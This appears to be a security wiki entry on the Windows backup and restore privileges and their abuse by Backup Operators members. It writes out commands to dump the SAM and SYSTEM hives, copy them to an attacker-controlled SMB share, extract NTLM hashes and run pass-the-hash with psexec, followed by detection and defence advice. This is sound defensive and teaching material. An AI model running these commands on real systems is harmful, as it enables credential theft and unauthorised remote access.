SeBackupPrivilege and SeRestorePrivilege
Windows privileges that grant a process the ability to bypass file-system access checks for backup and restore operations. Members of the built-in Backup Operators group hold both by default — making the group a high-value privilege-escalation target.
| Privilege | Effect when held |
|---|---|
SeBackupPrivilege | Read any file on the system, regardless of the security descriptor (DAC). Enables wholesale data exfiltration. |
SeRestorePrivilege | Write any file, including replacing system binaries and registry hives. Pairs with service- or task-based attacks for code execution. |
Per Microsoft’s file-system driver documentation, SeBackupPrivilege allows file content retrieval even when the file’s security descriptor would deny it, and SeRestorePrivilege allows setting any valid security descriptor on a file.
Dumping the SAM and SYSTEM hives
The classic escalation path: use backup rights to copy the local registry hives, then extract credential material offline.
reg save HKLM\SYSTEM $PATH_TO_HIVE_FILE
reg save HKLM\SAM $PATH_TO_HIVE_FILEExfiltrating via an Impacket SMB share
Run a temporary SMB server on the attacker host with Impacket:
impacket-smbserver -smb2support -username $CONNECTION_USER \
-password $CONNECTION_PASSWORD $SHARE_NAME $PATH_TO_DIRECTORYThen copy the hives out from the Windows target:
copy $FILE \\$ATTACKER_IP\$SHARE_NAME\Offline hash extraction and pass-the-hash
# Recover NTLM hashes from the captured hives
impacket-secretsdump -sam $SAM_HIVE_FILE -system $SYSTEM_HIVE_FILE LOCAL
# Use a recovered hash for remote execution (pass-the-hash)
impacket-psexec -hashes $FULL_NTLM_HASH $TARGET_USER@$TARGET_IPSeRestorePrivilege — binary replacement
Because restore rights allow writing any file, an attacker can overwrite a binary referenced by a privileged Windows service or scheduled task, then trigger it for execution as SYSTEM. See exploit-windows-services.
Defense
- Treat Backup Operators as a privileged group on par with Domain Admins — monitor membership changes
- Alert on remote registry access via accounts with Backup Operators membership (Elastic prebuilt rule: Suspicious Remote Registry Access via SeBackupPrivilege)
- Alert on
reg saveofHKLM\SAM/HKLM\SYSTEMoutside of sanctioned backup tooling - See windows-event-logs for relevant event IDs
Sources
- fortra/impacket
- Managing Privileges in a File System - Windows drivers | Microsoft Learn
- OS Credential Dumping: Security Account Manager, Sub-technique T1003.002 - Enterprise | MITRE ATT&CK
- Suspicious Remote Registry Access via SeBackupPrivilege — Elastic Security
Related: setakeownership-privilege, whoami, windows-services, exploit-windows-services, ntlm-relay-attacks, windows-reconnaissance-commands